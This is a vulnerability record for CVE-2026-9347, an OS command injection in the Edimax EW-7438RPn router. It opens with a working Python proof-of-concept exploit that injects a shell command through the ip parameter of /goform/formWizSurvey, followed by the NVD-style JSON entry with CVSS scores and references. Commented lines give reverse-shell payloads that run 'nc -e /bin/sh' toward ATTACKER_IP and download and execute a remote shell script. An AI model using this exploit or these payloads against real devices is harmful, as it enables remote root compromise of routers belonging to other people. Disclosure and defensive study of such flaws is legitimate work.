CVE-2026-9347

import requests # CVE-2026-9347 PoC - Edimax EW-7438RPn OS Command Injection # Target: Edimax EW-7438RPn device # Vulnerable endpoint: /goform/formWizSurvey # Vulnerable parameters: ip, mask, gateway target_ip = "192.168.0.1" # Default Edimax router IP target_url = f"http://{target_ip}/goform/formWizSurvey" # Payload: Inject OS command to create a test file # The command will be executed with root privileges payload_ip = "127.0.0.1;touch /tmp/pwned_$(date +%s)" payload_mask = "255.255.255.0" payload_gateway = "192.168.0.1" data = { "ip": payload_ip, "mask": payload_mask, "gateway": payload_gateway } print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload_ip}") try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Check if /tmp/pwned_* file exists on target device") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Reverse shell payload example (for authorized testing only): # payload_ip = "127.0.0.1;nc -e /bin/sh ATTACKER_IP 4444" # payload_ip = "127.0.0.1;wget http://ATTACKER_IP/shell.sh -O /tmp/sh.sh && sh /tmp/sh.sh"

{"cve": {"id": "CVE-2026-9347", "sourceIdentifier": "[email protected]", "published": "2026-05-24T02:16:45.307", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Edimax EW-7438RPn up to 1.31. Affected is the function formWizSurvey of the file /goform/formWizSurvey of the component webs. The manipulation of the argument ip/mask/gateway leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/Edimax/vuln_5/5.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811543", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813889", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365310", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365310/cti", "source": "[email protected]"}]}}